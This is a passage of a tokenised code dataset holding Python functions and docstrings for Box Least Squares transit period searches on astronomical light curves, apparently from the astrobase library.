{'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':nphasebins,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':magsarefluxes}}<EOL><DEDENT>sortedlspind = npargsort(finlsp)[::-<NUM_LIT:1>]<EOL>sortedlspperiods = finperiods[sortedlspind]<EOL>sortedlspvals = finlsp[sortedlspind]<EOL>nbestperiods, nbestlspvals, peakcount = (<EOL>[finperiods[bestperiodind]],<EOL>[finlsp[bestperiodind]],<EOL><NUM_LIT:1><EOL>)<EOL>prevperiod = sortedlspperiods[<NUM_LIT:0>]<EOL>for period, lspval in zip(sortedlspperiods, sortedlspvals):<EOL><INDENT>if peakcount == nbestpeaks:<EOL><INDENT>break<EOL><DEDENT>perioddiff = abs(period - prevperiod)<EOL>bestperiodsdiff = [abs(period - x) for x in nbestperiods]<EOL>if (perioddiff > (periodepsilon*prevperiod) and<EOL>all(x > (periodepsilon*period)<EOL>for x in bestperiodsdiff)):<EOL><INDENT>nbestperiods.append(period)<EOL>nbestlspvals.append(lspval)<EOL>peakcount = peakcount + <NUM_LIT:1><EOL><DEDENT>prevperiod = period<EOL><DEDENT>resultdict = {<EOL>'<STR_LIT>':finperiods[bestperiodind],<EOL>'<STR_LIT>':finlsp[bestperiodind],<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':nbestlspvals,<EOL>'<STR_LIT>':nbestperiods,<EOL>'<STR_LIT>':lsp,<EOL>'<STR_LIT>':frequencies,<EOL>'<STR_LIT>':periods,<EOL>'<STR_LIT>':blsresult,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':nfreq,<EOL>'<STR_LIT>':nphasebins,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':nphasebins,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':magsarefluxes}<EOL>}<EOL>if get_stats:<EOL><INDENT>resultdict['<STR_LIT>'] = []<EOL>for bp in nbestperiods:<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO(\"<STR_LIT>\" % bp)<EOL><DEDENT>this_pstats = bls_stats_singleperiod(<EOL>times, mags, errs, bp,<EOL>magsarefluxes=resultdict['<STR_LIT>']['<STR_LIT>'],<EOL>sigclip=resultdict['<STR_LIT>']['<STR_LIT>'],<EOL>nphasebins=resultdict['<STR_LIT>'],<EOL>mintransitduration=resultdict['<STR_LIT>'],<EOL>maxtransitduration=resultdict['<STR_LIT>'],<EOL>verbose=verbose,<EOL>)<EOL>resultdict['<STR_LIT>'].append(this_pstats)<EOL><DEDENT><DEDENT>return resultdict<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':nfreq,<EOL>'<STR_LIT>':nphasebins,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':nphasebins,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':magsarefluxes}}<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':nphasebins,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':magsarefluxes}}<EOL><DEDENT>", "docstring": "Runs the Box Least Squares Fitting Search for transit-shaped signals.\n\n    Based on eebls.f from Kovacs et al. 2002 and python-bls from Foreman-Mackey\n    et al. 2015. This is the serial version (which is good enough in most cases\n    because BLS in Fortran is fairly fast). If nfreq > 5e5, this will take a\n    while.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The magnitude/flux time-series to search for transits.\n\n    magsarefluxes : bool\n        If the input measurement values in `mags` and `errs` are in fluxes, set\n        this to True.\n\n    startp,endp : float\n        The minimum and maximum periods to consider for the transit search.\n\n    stepsize : float\n        The step-size in frequency to use when constructing a frequency grid for\n        the period search.\n\n    mintransitduration,maxtransitduration : float\n        The minimum and maximum transitdurations (in units of phase) to consider\n        for the transit search.\n\n    nphasebins : int\n        The number of phase bins to use in the period search.\n\n    autofreq : bool\n        If this is True, the values of `stepsize` and `nphasebins` will be\n        ignored, and these, along with a frequency-grid, will be determined\n        based on the following relations::\n\n            nphasebins = int(ceil(2.0/mintransitduration))\n            if nphasebins > 3000:\n                nphasebins = 3000\n\n            stepsize = 0.25*mintransitduration/(times.max()-times.min())\n\n            minfreq = 1.0/endp\n            maxfreq = 1.0/startp\n            nfreq = int(ceil((maxfreq - minfreq)/stepsize))\n\n    periodepsilon : float\n        The fractional difference between successive values of 'best' periods\n        when sorting by periodogram power to consider them as separate periods\n        (as opposed to part of the same periodogram peak). This is used to avoid\n        broad peaks in the periodogram and make sure the 'best' periods returned\n        are all actually independent.\n\n    nbestpeaks : int\n        The number of 'best' peaks to return from the periodogram results,\n        starting from the global maximum of the periodogram peak values.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    verbose : bool\n        If this is True, will indicate progress and details about the frequency\n        grid used for the period search.\n\n    get_stats : bool\n        If True, runs :py:func:`.bls_stats_singleperiod` for each of the best\n        periods in the output and injects the output into the output dict so you\n        only have to run this function to get the periods and their stats.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict, referred to as an `lspinfo` dict in other\n        astrobase functions that operate on periodogram results. This is a\n        standardized format across all astrobase period-finders, and is of the\n        form below::\n\n            {'bestperiod': the best period value in the periodogram,\n             'bestlspval': the periodogram peak associated with the best period,\n             'nbestpeaks': the input value of nbestpeaks,\n             'nbestlspvals': nbestpeaks-size list of best period peak values,\n             'nbestperiods': nbestpeaks-size list of best periods,\n             'stats': BLS stats for each best period,\n             'lspvals': the full array of periodogram powers,\n             'frequencies': the full array of frequencies considered,\n             'periods': the full array of periods considered,\n             'blsresult': the result dict from the eebls.f wrapper function,\n             'stepsize': the actual stepsize used,\n             'nfreq': the actual nfreq used,\n             'nphasebins': the actual nphasebins used,\n             'mintransitduration': the input mintransitduration,\n             'maxtransitduration': the input maxtransitdurations,\n             'method':'bls' -> the name of the period-finder method,\n             'kwargs':{ dict of all of the input kwargs for record-keeping}}", "id": "f14759:m2"}
{"signature": "def bls_parallel_pfind(<EOL>times, mags, errs,<EOL>magsarefluxes=False,<EOL>startp=<NUM_LIT:0.1>,  <EOL>endp=<NUM_LIT>,  <EOL>stepsize=<NUM_LIT>,<EOL>mintransitduration=<NUM_LIT>,  <EOL>maxtransitduration=<NUM_LIT>,   <EOL>nphasebins=<NUM_LIT:200>,<EOL>autofreq=True,  <EOL>nbestpeaks=<NUM_LIT:5>,<EOL>periodepsilon=<NUM_LIT:0.1>,  <EOL>sigclip=<NUM_LIT>,<EOL>verbose=True,<EOL>nworkers=None,<EOL>get_stats=True,<EOL>):", "body": "<EOL>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>if len(stimes) > <NUM_LIT:9> and len(smags) > <NUM_LIT:9> and len(serrs) > <NUM_LIT:9>:<EOL><INDENT>if autofreq:<EOL><INDENT>nphasebins = int(npceil(<NUM_LIT>/mintransitduration))<EOL>if nphasebins > <NUM_LIT>:<EOL><INDENT>nphasebins = <NUM_LIT><EOL><DEDENT>stepsize = <NUM_LIT>*mintransitduration/(stimes.max()-stimes.min())<EOL>minfreq = <NUM_LIT:1.0>/endp<EOL>maxfreq = <NUM_LIT:1.0>/startp<EOL>nfreq = int(npceil((maxfreq - minfreq)/stepsize))<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' % (startp, endp, nfreq,<EOL>minfreq, maxfreq))<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(stepsize, nphasebins,<EOL>mintransitduration, maxtransitduration))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>minfreq = <NUM_LIT:1.0>/endp<EOL>maxfreq = <NUM_LIT:1.0>/startp<EOL>nfreq = int(npceil((maxfreq - minfreq)/stepsize))<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' % (startp, endp, nfreq,<EOL>minfreq, maxfreq))<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(stepsize, nphasebins,<EOL>mintransitduration, maxtransitduration))<EOL><DEDENT><DEDENT>if minfreq < (<NUM_LIT:1.0>/(stimes.max() - stimes.min())):<EOL><INDENT>minfreq = <NUM_LIT>/(stimes.max() - stimes.min())<EOL>if verbose:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (endp, stimes.max() - stimes.min()))<EOL>LOGINFO('<STR_LIT>' %<EOL>(minfreq, maxfreq))<EOL><DEDENT><DEDENT>if not nworkers or nworkers > NCPUS:<EOL><INDENT>nworkers = NCPUS<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % nworkers)<EOL><DEDENT><DEDENT>frequencies = minfreq + nparange(nfreq)*stepsize<EOL>csrem = int(fmod(nfreq, nworkers))<EOL>csint = int(float(nfreq/nworkers))<EOL>chunk_minfreqs, chunk_nfreqs = [], []<EOL>for x in range(nworkers):<EOL><INDENT>this_minfreqs = frequencies[x*csint]<EOL>if x < (nworkers - <NUM_LIT:1>):<EOL><INDENT>this_nfreqs = frequencies[x*csint:x*csint+csint].size<EOL><DEDENT>else:<EOL><INDENT>this_nfreqs = frequencies[x*csint:x*csint+csint+csrem].size<EOL><DEDENT>chunk_minfreqs.append(this_minfreqs)<EOL>chunk_nfreqs.append(this_nfreqs)<EOL><DEDENT>tasks = [(stimes, smags,<EOL>chunk_minf, chunk_nf,<EOL>stepsize, nphasebins,<EOL>mintransitduration, maxtransitduration)<EOL>for (chunk_nf, chunk_minf)<EOL>in zip(chunk_minfreqs, chunk_nfreqs)]<EOL>if verbose:<EOL><INDENT>for ind, task in enumerate(tasks):<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>(ind+<NUM_LIT:1>, task[<NUM_LIT:3>], task[<NUM_LIT:2>]))<EOL><DEDENT>LOGINFO('<STR_LIT>')<EOL><DEDENT>pool = Pool(nworkers)<EOL>results = pool.map(_parallel_bls_worker, tasks)<EOL>pool.close()<EOL>pool.join()<EOL>del pool<EOL>lsp = npconcatenate([x['<STR_LIT>'] for x in results])<EOL>periods = <NUM_LIT:1.0>/frequencies<EOL>finitepeakind = npisfinite(lsp)<EOL>finlsp = lsp[finitepeakind]<EOL>finperiods = periods[finitepeakind]<EOL>try:<EOL><INDENT>bestperiodind = npargmax(finlsp)<EOL><DEDENT>except ValueError:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':nphasebins,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':magsarefluxes}}<EOL><DEDENT>sortedlspind = npargsort(finlsp)[::-<NUM_LIT:1>]<EOL>sortedlspperiods = finperiods[sortedlspind]<EOL>sortedlspvals = finlsp[sortedlspind]<EOL>nbestperiods, nbestlspvals, peakcount = (<EOL>[finperiods[bestperiodind]],<EOL>[finlsp[bestperiodind]],<EOL><NUM_LIT:1><EOL>)<EOL>prevperiod = sortedlspperiods[<NUM_LIT:0>]<EOL>for period, lspval in zip(sortedlspperiods, sortedlspvals):<EOL><INDENT>if peakcount == nbestpeaks:<EOL><INDENT>break<EOL><DEDENT>perioddiff = abs(period - prevperiod)<EOL>bestperiodsdiff = [abs(period - x) for x in nbestperiods]<EOL>if (perioddiff > (periodepsilon*prevperiod) and<EOL>all(x > (periodepsilon*period) for x in bestperiodsdiff)):<EOL><INDENT>nbestperiods.append(period)<EOL>nbestlspvals.append(lspval)<EOL>peakcount = peakcount + <NUM_LIT:1><EOL><DEDENT>prevperiod = period<EOL><DEDENT>resultdict = {<EOL>'<STR_LIT>':finperiods[bestperiodind],<EOL>'<STR_LIT>':finlsp[bestperiodind],<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':nbestlspvals,<EOL>'<STR_LIT>':nbestperiods,<EOL>'<STR_LIT>':lsp,<EOL>'<STR_LIT>':frequencies,<EOL>'<STR_LIT>':periods,<EOL>'<STR_LIT>':results,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':nfreq,<EOL>'<STR_LIT>':nphasebins,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':nphasebins,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':magsarefluxes}<EOL>}<EOL>if get_stats:<EOL><INDENT>resultdict['<STR_LIT>'] = []<EOL>for bp in nbestperiods.copy():<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO(\"<STR_LIT>\" % bp)<EOL><DEDENT>this_pstats = bls_stats_singleperiod(<EOL>times, mags, errs, bp,<EOL>magsarefluxes=resultdict['<STR_LIT>']['<STR_LIT>'],<EOL>sigclip=resultdict['<STR_LIT>']['<STR_LIT>'],<EOL>nphasebins=resultdict['<STR_LIT>'],<EOL>mintransitduration=resultdict['<STR_LIT>'],<EOL>maxtransitduration=resultdict['<STR_LIT>'],<EOL>verbose=verbose,<EOL>)<EOL>resultdict['<STR_LIT>'].append(this_pstats)<EOL><DEDENT><DEDENT>return resultdict<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return {'<STR_LIT>':npnan,<EOL>'<STR_LIT>':npnan,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':{'<STR_LIT>':startp,<EOL>'<STR_LIT>':endp,<EOL>'<STR_LIT>':stepsize,<EOL>'<STR_LIT>':mintransitduration,<EOL>'<STR_LIT>':maxtransitduration,<EOL>'<STR_LIT>':nphasebins,<EOL>'<STR_LIT>':autofreq,<EOL>'<STR_LIT>':periodepsilon,<EOL>'<STR_LIT>':nbestpeaks,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':magsarefluxes}}<EOL><DEDENT>", "docstring": "Runs the Box Least Squares Fitting Search for transit-shaped signals.\n\n    Based on eebls.f from Kovacs et al. 2002 and python-bls from Foreman-Mackey\n    et al. 2015. Breaks up the full frequency space into chunks and passes them\n    to parallel BLS workers.\n\n    NOTE: the combined BLS spectrum produced by this function is not identical\n    to that produced by running BLS in one shot for the entire frequency\n    space. There are differences on the order of 1.0e-3 or so in the respective\n    peak values, but peaks appear at the same frequencies for both methods. This\n    is likely due to different aliasing caused by smaller chunks of the\n    frequency space used by the parallel workers in this function. When in\n    doubt, confirm results for this parallel implementation by comparing to\n    those from the serial implementation above.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The magnitude/flux time-series to search for transits.\n\n    magsarefluxes : bool\n        If the input measurement values in `mags` and `errs` are in fluxes, set\n        this to True.\n\n    startp,endp : float\n        The minimum and maximum periods to consider for the transit search.\n\n    stepsize : float\n        The step-size in frequency to use when constructing a frequency grid for\n        the period search.\n\n    mintransitduration,maxtransitduration : float\n        The minimum and maximum transitdurations (in units of phase) to consider\n        for the transit search.\n\n    nphasebins : int\n        The number of phase bins to use in the period search.\n\n    autofreq : bool\n        If this is True, the values of `stepsize` and `nphasebins` will be\n        ignored, and these, along with a frequency-grid, will be determined\n        based on the following relations::\n\n            nphasebins = int(ceil(2.0/mintransitduration))\n            if nphasebins > 3000:\n                nphasebins = 3000\n\n            stepsize = 0.25*mintransitduration/(times.max()-times.min())\n\n            minfreq = 1.0/endp\n            maxfreq = 1.0/startp\n            nfreq = int(ceil((maxfreq - minfreq)/stepsize))\n\n    periodepsilon : float\n        The fractional difference between successive values of 'best' periods\n        when sorting by periodogram power to consider them as separate periods\n        (as opposed to part of the same periodogram peak). This is used to avoid\n        broad peaks in the periodogram and make sure the 'best' periods returned\n        are all actually independent.\n\n    nbestpeaks : int\n        The number of 'best' peaks to return from the periodogram results,\n        starting from the global maximum of the periodogram peak values.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    verbose : bool\n        If this is True, will indicate progress and details about the frequency\n        grid used for the period search.\n\n    nworkers : int or None\n        The number of parallel workers to launch for period-search. If None,\n        nworkers = NCPUS.\n\n    get_stats : bool\n        If True, runs :py:func:`.bls_stats_singleperiod` for each of the best\n        periods in the output and injects the output into the output dict so you\n        only have to run this function to get the periods and their stats.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict, referred to as an `lspinfo` dict in other\n        astrobase functions that operate on periodogram results. This is a\n        standardized format across all astrobase period-finders, and is of the\n        form below::\n\n            {'bestperiod': the best period value in the periodogram,\n             'bestlspval': the periodogram peak associated with the best period,\n             'nbestpeaks': the input value of nbestpeaks,\n             'nbestlspvals': nbestpeaks-size list of best period peak values,\n             'nbestperiods': nbestpeaks-size list of best periods,\n             'stats': list of stats dicts returned for each best period,\n             'lspvals': the full array of periodogram powers,\n             'frequencies': the full array of frequencies considered,\n             'periods': the full array of periods considered,\n             'blsresult': list of result dicts from eebls.f wrapper functions,\n             'stepsize': the actual stepsize used,\n             'nfreq': the actual nfreq used,\n             'nphasebins': the actual nphasebins used,\n             'mintransitduration': the input mintransitduration,\n             'maxtransitduration': the input maxtransitdurations,\n             'method':'bls' -> the name of the period-finder method,\n             'kwargs':{ dict of all of the input kwargs for record-keeping}}", "id": "f14759:m3"}
{"signature": "def _get_bls_stats(stimes,<EOL>smags,<EOL>serrs,<EOL>thistransdepth,<EOL>thistransduration,<EOL>ingressdurationfraction,<EOL>nphasebins,<EOL>thistransingressbin,<EOL>thistransegressbin,<EOL>thisbestperiod,<EOL>thisnphasebins,<EOL>magsarefluxes=False,<EOL>verbose=False):", "body": "try:<EOL><INDENT>me_epochbin = int((thistransegressbin +<EOL>thistransingressbin)/<NUM_LIT>)<EOL>me_phases = (<EOL>(stimes - stimes.min())/thisbestperiod -<EOL>npfloor((stimes - stimes.min())/thisbestperiod)<EOL>)<EOL>me_phases_sortind = npargsort(me_phases)<EOL>me_sorted_phases = me_phases[me_phases_sortind]<EOL>me_sorted_times = stimes[me_phases_sortind]<EOL>me_bins = nplinspace(<NUM_LIT:0.0>, <NUM_LIT:1.0>, thisnphasebins)<EOL>me_bininds = npdigitize(me_sorted_phases, me_bins)<EOL>me_centertransit_ind = me_bininds == me_epochbin<EOL>me_centertransit_phase = (<EOL>npmedian(me_sorted_phases[me_centertransit_ind])<EOL>)<EOL>me_centertransit_timeloc = npwhere(<EOL>npabs(me_sorted_phases - me_centertransit_phase) ==<EOL>npmin(npabs(me_sorted_phases - me_centertransit_phase))<EOL>)<EOL>me_centertransit_time = me_sorted_times[<EOL>me_centertransit_timeloc<EOL>]<EOL>if me_centertransit_time.size > <NUM_LIT:1>:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(thisbestperiod, repr(me_centertransit_time)))<EOL><DEDENT>thisminepoch = me_centertransit_time[<NUM_LIT:0>]<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL>savfit = savgol_fit_magseries(stimes, smags, serrs,<EOL>thisbestperiod,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=verbose,<EOL>sigclip=None)<EOL>thisminepoch = savfit['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>if isinstance(thisminepoch, npndarray):<EOL><INDENT>if verbose:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% repr(thisminepoch))<EOL><DEDENT>thisminepoch = thisminepoch[<NUM_LIT:0>]<EOL><DEDENT>transitparams = [<EOL>thisbestperiod,<EOL>thisminepoch,<EOL>thistransdepth,<EOL>thistransduration,<EOL>ingressdurationfraction*thistransduration<EOL>]<EOL>modelfit = traptransit_fit_magseries(<EOL>stimes,<EOL>smags,<EOL>serrs,<EOL>transitparams,<EOL>sigclip=None,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=verbose<EOL>)<EOL>if modelfit and modelfit['<STR_LIT>']['<STR_LIT>'] is not None:<EOL><INDENT>fitparams = modelfit['<STR_LIT>']['<STR_LIT>']<EOL>fiterrs = modelfit['<STR_LIT>']['<STR_LIT>']<EOL>modelmags, actualmags, modelphase = (<EOL>modelfit['<STR_LIT>']['<STR_LIT>'],<EOL>modelfit['<STR_LIT>']['<STR_LIT>'],<EOL>modelfit['<STR_LIT>']['<STR_LIT>']<EOL>)<EOL>subtractedmags = actualmags - modelmags<EOL>subtractedrms = npstd(subtractedmags)<EOL>fit_period, fit_epoch, fit_depth, fit_duration, fit_ingress_dur = (<EOL>fitparams<EOL>)<EOL>npts_in_transit = modelfit['<STR_LIT>']['<STR_LIT>']<EOL>transit_snr = (<EOL>npsqrt(npts_in_transit) * npabs(fit_depth/subtractedrms)<EOL>)<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(fit_period, fit_epoch))<EOL>LOGINFO('<STR_LIT>' % npts_in_transit)<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(fit_depth,<EOL>fit_duration,<EOL>transit_snr))<EOL><DEDENT>return {'<STR_LIT>':fit_period,<EOL>'<STR_LIT>':fit_epoch,<EOL>'<STR_LIT>':transit_snr,<EOL>'<STR_LIT>':fit_depth,<EOL>'<STR_LIT>':fit_duration,<EOL>'<STR_LIT>':nphasebins,<EOL>'<STR_LIT>':thistransingressbin,<EOL>'<STR_LIT>':thistransegressbin,<EOL>'<STR_LIT>':npts_in_transit,<EOL>'<STR_LIT>':modelmags,<EOL>'<STR_LIT>':subtractedmags,<EOL>'<STR_LIT>':actualmags,<EOL>'<STR_LIT>':modelphase,<EOL>'<STR_LIT>':fitparams,<EOL>'<STR_LIT>':fiterrs,<EOL>'<STR_LIT>':modelfit}<EOL><DEDENT>else:<EOL><INDENT>phased_magseries = phase_magseries_with_errs(stimes,<EOL>smags,<EOL>serrs,<EOL>thisbestperiod,<EOL>thisminepoch,<EOL>wrap=False,<EOL>sort=True)<EOL>tphase = phased_magseries['<STR_LIT>']<EOL>tmags = phased_magseries['<STR_LIT>']<EOL>transitphase = thistransduration/<NUM_LIT><EOL>transitindices = ((tphase < transitphase) |<EOL>(tphase > (<NUM_LIT:1.0> - transitphase)))<EOL>blsmodel = npfull_like(tmags, npmedian(tmags))<EOL>if magsarefluxes:<EOL><INDENT>blsmodel[transitindices] = (<EOL>blsmodel[transitindices] - thistransdepth<EOL>)<EOL><DEDENT>else:<EOL><INDENT>blsmodel[transitindices] = (<EOL>blsmodel[transitindices] - thistransdepth<EOL>)<EOL><DEDENT>subtractedmags = tmags - blsmodel<EOL>subtractedrms = npstd(subtractedmags)<EOL>npts_in_transit = len(tmags[transitindices])<EOL>thissnr = (<EOL>npsqrt(npts_in_transit) * npabs(thistransdepth/subtractedrms)<EOL>)<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(thisbestperiod, thisminepoch))<EOL>LOGINFO('<STR_LIT>' % (<NUM_LIT:1.0> -<EOL>transitphase,<EOL><NUM_LIT:1.0>))<EOL>LOGINFO('<STR_LIT>' % (<NUM_LIT:0.0>,<EOL>transitphase))<EOL>LOGINFO('<STR_LIT>' % tmags[transitindices].size)<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(thistransdepth,<EOL>thistransduration,<EOL>thissnr))<EOL><DEDENT>return 